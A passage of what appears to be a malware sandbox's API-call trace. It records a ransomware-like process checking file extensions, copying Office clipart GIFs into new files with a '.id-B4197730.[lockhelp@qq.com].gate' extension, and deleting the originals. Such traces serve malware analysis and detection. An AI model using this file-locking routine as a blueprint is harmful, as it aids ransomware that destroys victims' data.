1 [0278.139] lstrlenW (lpString=".xls") returned 4 [0278.139] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0278.139] lstrlenW (lpString=".xlsx") returned 5 [0278.139] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0278.139] lstrlenW (lpString=".ppt") returned 4 [0278.139] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0278.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0278.139] lstrlenW (lpString=".zip") returned 4 [0278.139] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0278.139] lstrlenW (lpString=".rar") returned 4 [0278.139] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0278.139] lstrlenW (lpString=".bz2") returned 4 [0278.139] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0278.140] lstrlenW (lpString=".7z") returned 3 [0278.140] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0278.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0278.140] lstrlenW (lpString=".dbf") returned 4 [0278.140] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0278.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0278.140] lstrlenW (lpString=".1cd") returned 4 [0278.140] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0278.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0278.140] lstrlenW (lpString=".jpg") returned 4 [0278.140] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0278.140] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0278.140] lstrlenW (lpString="AG00038_.GIF") returned 12 [0278.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0278.140] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=3251) returned 1 [0278.140] CloseHandle (hObject=0x3bc) returned 1 [0278.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif")) returned 0x220 [0278.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0278.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0278.141] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.141] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0278.141] GetLastError () returned 0x0 [0278.141] ReadFile (in: hFile=0x3bc, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0xcb3, lpOverlapped=0x0) returned 1 [0278.197] WriteFile (in: hFile=0x390, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xcc0, lpOverlapped=0x0) returned 1 [0278.198] ReadFile (in: hFile=0x3bc, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0278.198] WriteFile (in: hFile=0x390, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0278.198] SetEndOfFile (hFile=0x390) returned 1 [0278.198] CloseHandle (hObject=0x390) returned 1 [0278.199] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.199] SetEndOfFile (hFile=0x3bc) returned 1 [0278.201] CloseHandle (hObject=0x3bc) returned 1 [0278.202] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0278.202] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif")) returned 1 [0278.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0278.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0278.202] lstrlenW (lpString=".doc") returned 4 [0278.202] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0278.202] lstrlenW (lpString=".docx") returned 5 [0278.202] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0278.202] lstrlenW (lpString=".pdf") returned 4 [0278.202] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0278.202] lstrlenW (lpString=".xls") returned 4 [0278.203] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0278.203] lstrlenW (lpString=".xlsx") returned 5 [0278.203] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0278.203] lstrlenW (lpString=".ppt") returned 4 [0278.203] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0278.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0278.203] lstrlenW (lpString=".zip") returned 4 [0278.203] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0278.203] lstrlenW (lpString=".rar") returned 4 [0278.203] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0278.203] lstrlenW (lpString=".bz2") returned 4 [0278.203] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0278.203] lstrlenW (lpString=".7z") returned 3 [0278.203] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0278.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0278.203] lstrlenW (lpString=".dbf") returned 4 [0278.203] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0278.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0278.203] lstrlenW (lpString=".1cd") returned 4 [0278.203] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0278.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0278.203] lstrlenW (lpString=".jpg") returned 4 [0278.203] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0278.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0278.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0278.203] lstrlenW (lpString=".doc") returned 4 [0278.203] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0278.203] lstrlenW (lpString=".docx") returned 5 [0278.203] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0278.203] lstrlenW (lpString=".pdf") returned 4 [0278.203] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0278.203] lstrlenW (lpString=".xls") returned 4 [0278.204] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0278.204] lstrlenW (lpString=".xlsx") returned 5 [0278.204] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0278.204] lstrlenW (lpString=".ppt") returned 4 [0278.204] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0278.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0278.204] lstrlenW (lpString=".zip") returned 4 [0278.204] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0278.204] lstrlenW (lpString=".rar") returned 4 [0278.204] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0278.204] lstrlenW (lpString=".bz2") returned 4 [0278.204] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0278.204] lstrlenW (lpString=".7z") returned 3 [0278.204] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0278.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0278.204] lstrlenW (lpString=".dbf") returned 4 [0278.204] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0278.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0278.204] lstrlenW (lpString=".1cd") returned 4 [0278.204] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0278.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0278.204] lstrlenW (lpString=".jpg") returned 4 [0278.204] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0278.204] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0278.204] lstrlenW (lpString="AG00057_.GIF") returned 12 [0278.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0278.216] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11891) returned 1 [0278.216] CloseHandle (hObject=0x3f8) returned 1 [0278.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif")) returned 0x220 [0278.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0278.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0278.216] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.217] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0278.217] GetLastError () returned 0x0 [0278.217] ReadFile (in: hFile=0x3f8, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x2e73, lpOverlapped=0x0) returned 1 [0278.301] WriteFile (in: hFile=0x394, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x2e80, lpOverlapped=0x0) returned 1 [0278.302] ReadFile (in: hFile=0x3f8, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0278.302] WriteFile (in: hFile=0x394, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0278.302] SetEndOfFile (hFile=0x394) returned 1 [0278.302] CloseHandle (hObject=0x394) returned 1 [0278.303] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.303] SetEndOfFile (hFile=0x3f8) returned 1 [0278.733] CloseHandle (hObject=0x3f8) returned 1 [0278.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0278.734] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif")) returned 1 [0278.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0278.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0278.735] lstrlenW (lpString=".doc") returned 4 [0278.735] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0278.735] lstrlenW (lpString=".docx") returned 5 [0278.735] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0278.735] lstrlenW (lpString=".pdf") returned 4 [0278.735] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0278.735] lstrlenW (lpString=".xls") returned 4 [0278.735] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0278.735] lstrlenW (lpString=".xlsx") returned 5 [0278.735] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0278.735] lstrlenW (lpString=".ppt") returned 4 [0278.735] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0278.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0278.735] lstrlenW (lpString=".zip") returned 4 [0278.735] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0278.735] lstrlenW (lpString=".rar") returned 4 [0278.735] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0278.735] lstrlenW (lpString=".bz2") returned 4 [0278.735] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0278.735] lstrlenW (lpString=".7z") returned 3 [0278.735] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0278.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0278.735] lstrlenW (lpString=".dbf") returned 4 [0278.736] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0278.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0278.736] lstrlenW (lpString=".1cd") returned 4 [0278.736] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0278.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0278.736] lstrlenW (lpString=".jpg") returned 4 [0278.736] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0278.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0278.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0278.736] lstrlenW (lpString=".doc") returned 4 [0278.736] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0278.736] lstrlenW (lpString=".docx") returned 5 [0278.736] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0278.736] lstrlenW (lpString=".pdf") returned 4 [0278.736] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0278.736] lstrlenW (lpString=".xls") returned 4 [0278.736] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0278.736] lstrlenW (lpString=".xlsx") returned 5 [0278.736] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0278.736] lstrlenW (lpString=".ppt") returned 4 [0278.736] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0278.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0278.736] lstrlenW (lpString=".zip") returned 4 [0278.736] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0278.736] lstrlenW (lpString=".rar") returned 4 [0278.736] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0278.736] lstrlenW (lpString=".bz2") returned 4 [0278.737] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0278.737] lstrlenW (lpString=".7z") returned 3 [0278.737] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0278.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0278.737] lstrlenW (lpString=".dbf") returned 4 [0278.737] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0278.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0278.737] lstrlenW (lpString=".1cd") returned 4 [0278.737] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0278.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0278.737] lstrlenW (lpString=".jpg") returned 4 [0278.737] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0278.737] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0278.737] lstrlenW (lpString="AG00126_.GIF") returned 12 [0278.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0278.738] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=3140) returned 1 [0278.738] CloseHandle (hObject=0x3f8) returned 1 [0278.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif")) returned 0x220 [0278.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0278.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0278.738] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.738] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0278.937] GetLastError () returned 0x0 [0278.937] ReadFile (in: hFile=0x3f8, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0xc44, lpOverlapped=0x0) returned 1 [0279.067] WriteFile (in: hFile=0x3bc, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xc50, lpOverlapped=0x0) returned 1 [0279.168] ReadFile (in: hFile=0x3f8, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0279.168] WriteFile (in: hFile=0x3bc, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0279.168] SetEndOfFile (hFile=0x3bc) returned 1 [0279.168] CloseHandle (hObject=0x3bc) returned 1 [0279.169] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.169] SetEndOfFile (hFile=0x3f8) returned 1 [0279.199] CloseHandle (hObject=0x3f8) returned 1 [0279.200] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0279.285] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif")) returned 1 [0279.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0279.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0279.285] lstrlenW (lpString=".doc") returned 4 [0279.285] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0279.285] lstrlenW (lpString=".docx") returned 5 [0279.286] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0279.286] lstrlenW (lpString=".pdf") returned 4 [0279.286] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0279.286] lstrlenW (lpString=".xls") returned 4 [0279.286] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0279.286] lstrlenW (lpString=".xlsx") returned 5 [0279.286] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0279.286] lstrlenW (lpString=".ppt") returned 4 [0279.286] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0279.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0279.286] lstrlenW (lpString=".zip") returned 4 [0279.286] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0279.286] lstrlenW (lpString=".rar") returned 4 [0279.286] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0279.286] lstrlenW (lpString=".bz2") returned 4 [0279.286] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0279.286] lstrlenW (lpString=".7z") returned 3 [0279.286] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0279.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0279.286] lstrlenW (lpString=".dbf") returned 4 [0279.286] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0279.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0279.286] lstrlenW (lpString=".1cd") returned 4 [0279.286] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0279.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0279.286] lstrlenW (lpString=".jpg") returned 4 [0279.286] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0279.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0279.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0279.286] lstrlenW (lpString=".doc") returned 4 [0279.286] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0279.287] lstrlenW (lpString=".docx") returned 5 [0279.287] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0279.287] lstrlenW (lpString=".pdf") returned 4 [0279.287] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0279.287] lstrlenW (lpString=".xls") returned 4 [0279.287] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0279.287] lstrlenW (lpString=".xlsx") returned 5 [0279.287] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0279.287] lstrlenW (lpString=".ppt") returned 4 [0279.287] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0279.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") 